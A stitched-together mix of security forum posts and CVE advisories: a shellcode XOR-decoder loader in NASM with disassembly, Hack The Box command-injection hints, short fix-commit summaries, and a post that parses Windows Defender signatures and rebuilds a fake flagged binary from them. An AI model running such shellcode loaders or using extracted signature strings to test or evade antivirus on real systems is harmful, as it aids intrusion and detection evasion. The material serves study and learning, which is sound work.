My approach is kinda similar to yours with the trust of task statement that decode the shellcode, by adding a loop to ‘xor’ each 8-bytes on the stack with the key in ‘rbx’ . global _start section .text _start: mov rax,0xa284ee5c7cde4bd7 push rax mov rax,0x935add110510849a push rax mov rax,0x10b29a9dab697500 push rax mov rax,0x200ce3eb0d96459a push rax mov rax,0xe64c30e305108462 push rax mov rax,0x69cd355c7c3e0c51 push rax mov rax,0x65659a2584a185d6 push rax mov rax,0x69ff00506c6c5000 push rax mov rax,0x3127e434aa505681 push rax mov rax,0x6af2a5571e69ff48 push rax mov rax,0x6d179aaff20709e6 push rax mov rax,0x9ae3f152315bf1c9 push rax mov rax,0x373ab4bb0900179a push rax mov rax,0x69751244059aa2a3 push rax mov rbx,0x2144d2144d2144d2 _loop_setup: mov rcx, 14 lea rdx, [rsp] _loop: xor [rdx], rbx add rdx, 8 loop _loop _exec_shellcode: call rsp _exit: mov rax, 60 mov rdi, 0 syscall The patched program is then linked with stack execution enable: $ nasm -f elf64 loaded_shellcode_patched.nasm $ ld -z execstack -o loaded_shellcode_patched loaded_shellcode_patched.o Unfortunately, the decoded shellcode doesn’t look good: Dump of assembler code from 0x7fffffffe300 to 0x7fffffffe370: 0x00007fffffffe300: jno 0x7fffffffe2e8 0x00007fffffffe302: mov $0x31c05048,%ebx 0x00007fffffffe307: rex.W 0x00007fffffffe308: rex.W push %rbx 0x00007fffffffe30a: and %eax,0x66(%rdi,%rbp,4) 0x00007fffffffe30e: jle 0x7fffffffe326 0x00007fffffffe310: sbb 0x23467c7a(%rbp),%esi 0x00007fffffffe316: cmpsl %es:(%rdi),%ds:(%rsi) 0x00007fffffffe317: mov $0xbf264d34,%ebx 0x00007fffffffe31c: mov $0x9a4c5348,%ebx 0x00007fffffffe321: mov $0x77435348,%ebx 0x00007fffffffe326: mov $0x4b,%dh 0x00007fffffffe328: push %rbx 0x00007fffffffe329: adc -0x19(%rcx),%dh 0x00007fffffffe32c: and %dh,(%rsi) 0x00007fffffffe32e: movsxd (%rax),%edx 0x00007fffffffe330: rclb %cl,-0x442dbbdf(,%rcx,2) 0x00007fffffffe337: rex.W add $0xc1,%al 0x00007fffffffe33a: or $0x31,%cl 0x00007fffffffe33d: and %rax,0x48(%rbx,%rax,4) 0x00007fffffffe342: (bad) 0x00007fffffffe343: xor %ecx,-0x19(%rax) 0x00007fffffffe346: mov %ecx,-0x50(%rax) 0x00007fffffffe349: shlb $0x48,(%rcx) 0x00007fffffffe34c: mul %edx 0x00007fffffffe34e: or %al,%bh 0x00007fffffffe350: add %rsi,0x4831ff40(%rdi) 0x00007fffffffe357: add %edx,%edx 0x00007fffffffe359: xor %ecx,-0x1a(%rax) 0x00007fffffffe35c: mov %ecx,-0xa(%rax) 0x00007fffffffe35f: xor %ecx,-0x40(%rax) 0x00007fffffffe362: xor %ecx,0x5(%rax) 0x00007fffffffe365: nopl 0x31ff0f05(%rdx) 0x00007fffffffe36c: rex.W cmp $0xc0,%al 0x00007fffffffe36f: addl $0x0,(%rcx) End of assembler dump. You can see that there is plenty of register-based memory access, which would be invalid as most of the registers are initialized with the value 0. Also jno 0x7fffffffe2e8 will be taken when yielding the control flow to the shellcode as the overflow flag in the rflags register are set to 0 by default, which will jump the control flow to a lower address in the stack with all-zero initialized values. Given 00 00 is a valid instruction in x86_64 representing add [rax], al , the shellcode would attempt to dereference the default value 0x00 in rax after the jump which leads to a segfault. Therefore, either decode the shellcode, by adding a loop to ‘xor’ each 8-bytes on the stack with the key in ‘rbx’ is misleading, or there should be a specific environment with non-default register values where the shellcode should execute.


Nomad ACL Policies without Label are Applied to Unexpected Resources

[Severity: MEDIUM]

A vulnerability was identified in Nomad, an ACL policy using a block without label may be applied to unexpected resources. This vulnerability, CVE-2023-3072, affects Nomad from 0.7 up to 1.5.6 and 1.4.10 and was fixed in 1.6.0, 1.5.7, and 1.4.11.


Beef-xss testing on vbox from host machine

Not sure If I fit in good category, if not please mod change it. I play with Beef xss, it’s really interesting tool. I installed windows on virtualbox to test it further, I put local link generated from Beef-xss on vbox windows browser and it does not load local link. My vbox network settings are >bridged Adapter>Wlan0. Anyone could tell me what I doing wrong setting my windows lab that it does not load localhost links? `# This site can’t be reached 127.0.0.1 refused to connect.`


I pulled out all my hair during this exercise. WIthout the specific hint to look for the string johneverist: ‘malicious request’ within the >1000 lines HTTP-response, I would have never figured out any reaction to command injection attemps. I can give one more recommendation: Look for different ways to start a sub-shell, as neither && not || worked for me!


Hi All, Can someone give me a nudge or DM me for Secret Message? I know the tool to use and think I know the c****** that has been used but can’t bruteforce the passkey. Am I looking at this the wrong way… Any help appreciated! S


CVE: CVE-2022-0577

[{'lang': 'en', 'value': 'Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository scrapy/scrapy prior to 2.6.1.'}]

Fix commit: Merge pull request from GHSA-cjvr-mfj7-j4j8

* Do not carry over cookies to a different domain on redirect

* Cover the cookie-domain redirect fix in the release notes

* Cover 1.8.2 in the release notes

* Fix redirect Cookie handling when the cookie middleware is disabled

* Update the 1.8.2 release date


So basically the WIFI UAV App sends 124 Bytes of Data. The 13th, 14th, 89th, 90th, 109th, and 110th byte are about time counter. Where 13 and 14 starts with 00, 89 and 90 starts with 01, and 109 and 110 starts with 02. For controlling, the 21st byte is left and right from 00 to FF where in the middle is 80 ( 126 decimal ) 22nd byte is forward and backward where backward from 00 and forward to FF 23th byte is throttle from 00 to FF 24th byte is for yaw from 00 to FF 25th byte is for command, where 01 takeoff, 02 emergency stop/killswitch, 03 landing, 04 Calibrate Gyro 26th byte is also command but for toggle between Headless mode and non-headless mode There must be many commands but i didnt found yet


CVE: CVE-2022-29788

[{'lang': 'en', 'value': 'libmobi before v0.10 contains a NULL pointer dereference via the component mobi_buffer_getpointer. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted mobi file.'}]

Fix commit: Fix issue with corrupt files with tagvalues_count = 0 that caused null pointer dereference


for to get flag 5 you can use LES (Linux Exploit Suggester). I know it’s a hint, so don’t hate me. Try every vulnerability that the script will offer you. github.com GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool Linux privilege escalation auditing tool


Yeah I’ve been mixing and matching on the operand injectors I did get something weird thought. I dont know if this is normal. I got the index.php and config.php to popup through the ‘ls’ command but still can’t find the flag. Screen Shot 2022-06-06 at 12.03.22 PM 1876×938 122 KB


CVE: CVE-2022-0362

[{'lang': 'en', 'value': 'SQL Injection in Packagist showdoc/showdoc prior to 2.10.3.'}]

Fix commit: bug


My network has been compromised and I need help

I feel like an idiot and I need some help or advise. I’ve been slowly learning penetration testing.4 days ago I get a text message giving me a TFA code to reset my ring doorbell. I, nor anyone at my home requested a password reset. That’s when the problem started. I started having problems accessing some of my Proxmox network and I started getting messages from web sites telling me my IP has been blocked because of suspicious activity. That could have been caused by me scanning my network with Wireshark?? I tried using my tools in Parrot OS to solve this issue but things kept getting worse. I think my Spectrum SAC2V router was flagging me because I was scanning my network with Wireshark. I finally pulled the plug and disconnected from WAN. Now I fired back up my Proxmox cluster and one node is giving me a man in the middle attack warning on one node saying a key has been modified. This is very much a Parrot OS question because I have Parrot in 11 laptops and I had several Parrot VMs in Proxmox. I want to just wipe all 6 nodes that appear to be compromised, but I’m not learning by doing that. I have been trying to learn this trade , but I’ve focused more on learning Linux better before I got very deep in the Penetration testing learning. Is there any ethical hackers on here that can help me figure this out? I don’t want to just run a tool and let it fix this. What I’d really like is some step by step directions on where to start and exactly how to fix this with one of my Parrot OS laptops. I’m sorry for the long dissertation, but I learn best under pressure. And that’s where I’m at right now


I only scanned with clamav, rkhunter. I was not running TOR or Anonsurf. This entire situation has taught me a valuable lesson. So I am starting over for the umpteenth timer. This time I am starting with the very basic network training. I’ve always been the type of person to jump in way over my head until I am ready to throw my hands up. then I go back to the basics and they seem to make so much more sense. Now I am having weird issues with the setup of my networking lab, switches and routers. these are not Parrot related so I am asking my questions in a different forum. Anyway, you guys are great. i appreciate all the help you’ve given me along the way. I am not going to give up, but I will be spending a lot less time using Parrot OS and learn my networking with a lab I am setting up of three old Thinkpads running Debian 11. I could use some advise on any good , structured (open source) network basic training if anyone has any suggestions? Parrot will always be my go to OS for future pentesting training and use though


CVE: CVE-2022-2306

[{'lang': 'en', 'value': 'Old session tokens can be used to authenticate to the application and send authenticated requests.'}]

Fix commit: Correctly console session token on all logouts. (#875)


This is some crazy ■■■■… HTB just likes making life harder. The questions, hints and expected answer format takes way longer than completing the module itself.


MCMS vulnerable to arbitrary code execution via crafted thumbnail

[Severity: HIGH]

File upload vulnerability in MCMS 5.0 allows attackers to execute arbitrary code via a crafted thumbnail. A different vulnerability than CVE-2022-31943.


ChakraCore RCE Vulnerability

[Severity: HIGH]

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-0979, CVE-2018-0990, CVE-2018-0993, CVE-2018-0994, CVE-2018-0995, CVE-2018-1019.


Zend Framework XEE Vulnerability

[Severity: MEDIUM]

(1) `Zend_Dom`, (2) `Zend_Feed`, and (3) `Zend_Soap` in Zend Framework 1.x before 1.11.13 and 1.12.x before 1.12.0 do not properly handle SimpleXMLElement classes, which allow remote attackers to read arbitrary files or create TCP connections via an external entity reference in a DOCTYPE element in an XML-RPC request, aka an XML external entity (XXE) injection attack, a different vulnerability than CVE-2012-3363.


rails-ujs vulnerable to DOM Based Cross-site Scripting contenteditable HTML Elements

[Severity: MEDIUM]

NOTE: rails-ujs is part of Rails/actionview since 5.1.0.

There is a potential DOM based cross-site scripting issue in rails-ujs
which leverages the Clipboard API to target HTML elements that are
assigned the contenteditable attribute. This has the potential to
occur when pasting malicious HTML content from the clipboard that
includes a data-method, data-remote or data-disable-with attribute.

This vulnerability has been assigned the CVE identifier CVE-2023-23913.

Not affected: < 5.1.0
Versions Affected: >= 5.1.0
Fixed Versions: 6.1.7.3, 7.0.4.3

Impact
  If the specified malicious HTML clipboard content is provided to a
  contenteditable element, this could result in the arbitrary execution
  of javascript on the origin in question.

Releases
  The FIXED releases are available at the normal locations.

Workarounds
  We recommend that all users upgrade to one of the FIXED versions.
  In the meantime, users can attempt to mitigate this vulnerability
  by removing the contenteditable attribute from elements in pages
  that rails-ujs will interact with.

Patches
  To aid users who aren’t able to upgrade immediately we have provided
  patches for the two supported release series. They are in git-am
  format and consist of a single changeset.

* rails-ujs-data-method-contenteditable-6-1.patch - Patch for 6.1 series
* rails-ujs-data-method-contenteditable-7-0.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are
supported at present, and 6.0.Z for severe vulnerabilities.

Users of earlier unsupported releases are advised to upgrade as
soon as possible as we cannot guarantee the continued availability
of security fixes for unsupported releases.

Credits
  We would like to thank ryotak 15 for reporting this!

* rails-ujs-data-method-contenteditable-6-1.patch (8.5 KB)
* rails-ujs-data-method-contenteditable-7-0.patch (8.5 KB)
* rails-ujs-data-method-contenteditable-main.patch (8.9 KB)


I used too this: But I dont know why i cannot get flag, and this payload is triggered as malicious. Anyone could help me with that? Thx


CVE: CVE-2022-23624

[{'lang': 'en', 'value': 'Frourio-express is a minimal full stack framework, for TypeScript. Frourio-express users who uses frourio-express version prior to v0.26.0 and integration with class-validator through `validators/` folder are subject to a input validation vulnerability. Validators do not work properly for request bodies and queries in specific situations and some input is not validated at all. Users are advised to update frourio to v0.26.0 or later and to install `class-transformer` and `reflect-metadata`.'}]

Fix commit: feat(validation): use class-transformer to support validation of nested objects

Co-authored-by: SegaraRai <SegaraRai@users.noreply.github.com>


I managed to extract de wordlist from Assessment.dll with dotPeak (JetBrains) and used also the decoding part of it. Wordlist of 999 lines. Iteration of these words resulted in 998 times 404 (Not Found) and 1 resulted in a 403 (Forbidden). That was string h******s, but no success either. Please help.


Protection against hacking programs

I have a question how to protect yourself from kali linux and other hacker programs, what ports should be blocked as generally as possible to protect yourself from them because antiviruses and firewalls are not enough, although I note that I have never used kali linux or parrot OS so please understand I would like to ask how I should secure the network when it comes to network security, I have blocked ports such as TCP and UDP ports 135 ~ 139, 445, 1234, 3389 and 5555. What other ports should be blocked additionally to protect your home network when it comes to wifi I have WPA3 secured I would like to ask you how to protect your computer, how to protect your BIOS against various attacks, what should be blocked to prevent an attacker from accessing the BIOS, how to protect HDD and SSD disks against the possibility of attacking the disk, I read that there are tools in linux that they can what should be blocked and is this option generally available ?? and how to protect processor and ram


Analyzing Windows Defender's sigantures for fun

The database of Windows Defender can be extracted with WDExtract . A deep analysis of the db structure is at experiments/windows-defender/VDM at master · commial/experiments · GitHub A signature can be parse with a struct like this struct { uint8_t sig_type; uint8_t size_low; uint16_t size_high; uint8_t value[size_low | size_high << 8]; } sig_entry; The length of value is changed every time database controller reads a new signature. To make it be easier to analysis, I wrote a simple script to parse and print information of each signature in the db (tested with AV sigs only, the AS (anti spyware) wasn’t tested gist.github.com https://gist.github.com/dmknght/0c28f952026a3a4d97232fca6a3f598c parse_windef_sigs.nim import streams import bitops import strutils import std/enumutils const db_name = "mpavbase.vdm.extracted" type This file has been truncated. show original An example after parsing the whole db: ===================Threat BEGIN=================== SigType: SIGNATURE_TYPE_THREAT_BEGIN s_low: 32 s_high: 0 len: 32 Value: @["c", "\\xAF", "\\x02", "\\x80", "\\x00", "\\x00", "\\x01", "\\x00", "\\x06", "\\x00", "\\x0A", "\\x00", "\\x84", "!Wkysol.J", "\\x00", "\\x00", "\\x01", "@", "\\x05", "\\x82", "B", "\\x00", "\\x04", "\\x00"] SigType: SIGNATURE_TYPE_PEHSTR_EXT s_low: 192 s_high: 0 len: 192 Value: @["\\x04", "\\x00", "\\x04", "\\x00", "\\x06", "\\x00", "\\x00", "\\x01", "\\x00", "-", "\\x00", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "\\x01", "\\x00", "\\x0C", "\\x01", "/put.asp?nm=", "\\x01", "\\x00", "\\x15", "\\x01", "/get.asp?nm=index.dat", "\\x01", "\\x00", "\\x1C", "\\x01", "Rj", "\\x00", "j", "\\x00", "j", "\\x00", "j", "\\x00", "j", "\\x00", "j", "\\x00", "h ", "\\x02", "\\x00", "\\x00", "j j", "\\x02", "\\x8D", "E", "\\xDC", "P", "\\xFF", "\\x15", "\\x01", "\\x00", "\\x1C", "\\x03", "\\x80", "\\xC9", "\\x80", "\\x89", "\\x8D", "\\x90", "\\x01", "\\x04", "j", "\\x04", "\\x8D", "\\x95", "\\x90", "\\x1B", "\\x00", "Rj", "\\x1F", "\\x8B", "\\x85", "\\x90", "\\x01", "\\x04", "P", "\\xFF", "\\x15", "\\x90", "\\x00", "\\x01", "\\x00", "\\x19", "\\x01", "\\x8D", "U", "\\xA8", "RSSSSSSh ", "\\x02", "\\x00", "\\x00", "j j", "\\x02", "\\x8D", "E", "\\xDC", "P", "\\xFF", "\\x15", "\\x00", "\\x00"] SigType: SIGNATURE_TYPE_THREAT_END s_low: 4 s_high: 0 len: 4 Value: @["c", "\\xAF", "\\x02", "\\x80"] -------------------Threat END--------------------- Malware name: !Wkysol.J Detection method: Find strings in PE file ( SIGNATURE_TYPE_PEHSTR_EXT ) Test the fake “malicious” binary against the scanner[s] (i used VirusTotal). Create a simple Nim file $cat test.nim const s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" s2 = "/put.asp?nm=" s3 = "/get.asp?nm=index.dat" s4 = "RSSSSSSh" Compile PE file: nim c -d:mingw test.nim Result: VirusTotal image 1316×267 32.5 KB The result is interesting: Windows defender didn’t detect this fake binary as a malicious file. Because the conditions are compiled, so we don’t really know the actual conditions that WinDef uses to match a binary (could be specific ranges, offset or anything else). However, we can see some machine learning engines are having false positives.


CVE: CVE-2022-1620

[{'lang': 'en', 'value': 'NULL Pointer Dereference in function vim_regexec_string at regexp.c:2729 in GitHub repository vim/vim prior to 8.2.4901. NULL Pointer Dereference in function vim_regexec_string at regexp.c:2729 allows attackers to cause a denial of service (application crash) via a crafted input.'}]

Fix commit: patch 8.2.4901: NULL pointer access when using invalid pattern

Problem:    NULL pointer access when using invalid pattern.
Solution:   Check for failed regexp program.


image 876×261 22.4 KB You are getting this error because you haven’t entered the correct IP click on the Spawn Target then the system will give you an IP try to do ssh with that IP.


spring-integration-zip Arbitrary File Write

[Severity: MEDIUM]

Addresses partial fix in CVE-2018-1261. Pivotal spring-integration-zip, versions prior to 1.0.2, exposes an arbitrary file write vulnerability, that can be achieved using a specially crafted zip archive (affects other archives as well, bzip2, tar, xz, war, cpio, 7z), that holds path traversal filenames. So when the filename gets concatenated to the target extraction directory, the final path ends up outside of the target folder.


[Session Fixation] CVE-2023-40273: Session fixation in Apache Airflow web interface

When I reset the password of the test user through the button Reset Password, I hope that the person who previously had the password of the test user will lose the corresponding authority. However, if others have logged in to the test user before, they can still use the account.
{F2630619}
{F2630620}
In short，Change user password wouldn't prevent an already authenticated user from being able to continue using the UI or API.

## Impact

The session fixation vulnerability allowed the authenticated user to continue accessing Airflow webserver even after the password of the user has been reset by the admin - up until the expiry of the session of the user.


I hey I just found the flag myself. I did manage to utilize the printf function after the fact, but there’s an issue around the 10th iteration. Mind taking a look at it?


CVE: CVE-2022-30708

[{'lang': 'en', 'value': 'Webmin through 1.991, when the Authentic theme is used, allows remote code execution when a user has been manually created (i.e., not created in Virtualmin or Cloudmin). This occurs because settings-editor_write.cgi does not properly restrict the file parameter.'}]

Fix commit: Factor out check for root-ish user into a separate function https://github.com/webmin/webmin/issues/1635


This was a tough one. I found it helpful to do like they were saying and: Manually explore every button in the web app (while logging everything in BurpSuite or OWASP ZAP) Make note of any new HTTP Parameters as you’re going as the application acts differently depending on what parameters are supplied. Keep an eye out for the Visual error that they were talking about “Malicious request” as this is a good sign that you might be hitting input validation Ask yourself why something may need input validation? Developers aren’t going to put input validation in places where it isn’t needed.


Parrot Devs will never call you, be aware of pfishers and snoopers @Masmer


Wifite isn’t showing the SSID associated with the MAC addresses? I know at my place the ROKU shows up like that - just a MAC address without an SSID. Probably some Apple, Amazon, etc. streaming products do that too. Maybe video surveillance devices (like RING cameras) show up as well. None of them appear to be identifiable via their OUI’s. https://www.macvendorlookup.com/ https://www.wireshark.org/tools/oui-lookup.html


Perhaps a stupid question, I always performed all the tasks through my own VM, how do I copy the clipboard to pwnbox?)


I am working on the Tier 1 Responder Machine and running into this same problem. Someone mentioned Parrot being an issue? Would it be better to do this one in Pwnbox instead?


CVE: CVE-2021-3798

[{'lang': 'en', 'value': 'A flaw was found in openCryptoki. The openCryptoki Soft token does not check if an EC key is valid when an EC key is created via C_CreateObject, nor when C_DeriveKey is used with ECDH public data. This may allow a malicious user to extract the private key by performing an invalid curve attack.'}]

Fix commit: SOFT: Check the EC Key on C_CreateObject and C_DeriveKey

When constructing an OpenSSL EC public or private key from PKCS#11
attributes or ECDH public data, check that the key is valid, i.e. that
the point is on the curve.

This prevents one from creating an EC key object via C_CreateObject with
invalid key data. It also prevents C_DeriveKey to derive a secret using
ECDH with an EC public key (public data) that uses a different curve
or is invalid by other means.

Signed-off-by: Ingo Franzki <ifranzki@linux.ibm.com>


try replacing your port number with the word PORT in your answer


Can anyone help me out, not sure where I’m going wrong. I have read hints from previous posts but still cant get it. here is what I’ve done: I have tried variations of #3 where I URL encode <<< with no luck


Payara, when deployed to the root context, allows attackers to visit META-INF and WEB-INF

[Severity: HIGH]

Payara before 2022-11-04, when deployed to the root context, allows attackers to visit META-INF and WEB-INF, a different vulnerability than CVE-2022-37422. This affects Payara Platform Community before 4.1.2.191.38, 5.x before 5.2022.4, and 6.x before 6.2022.1, and Payara Platform Enterprise before 5.45.0.


If you are looking for wireless adapter pentesting then ALFA dual band wireless adapter is must. Please note that your pc network interface doesn’t support monitoring and packet injection. I would prefer your to buy ALFA dual band wireless adapter. But beginner to set up on kali Linux, would be frustating but you can watch david bombal youtube video.


Hi @Isa777 Hope you are great today. I was trying to find resources in order to start with cybesecurity and pentesting. I found a guy named S4vitar at Twicht and you tube. Check this Scripting en Bash para principiantes #1 - YouTube . Also OverTheWire: Wargames if you want to start with practical examples or hackthebox website as well. Hope this resources are fine for you as are great for me. Regards.


CVE: CVE-2022-0219

[{'lang': 'en', 'value': 'Improper Restriction of XML External Entity Reference in GitHub repository skylot/jadx prior to 1.3.2.'}]

Fix commit: fix: use secure xml parser for process manifest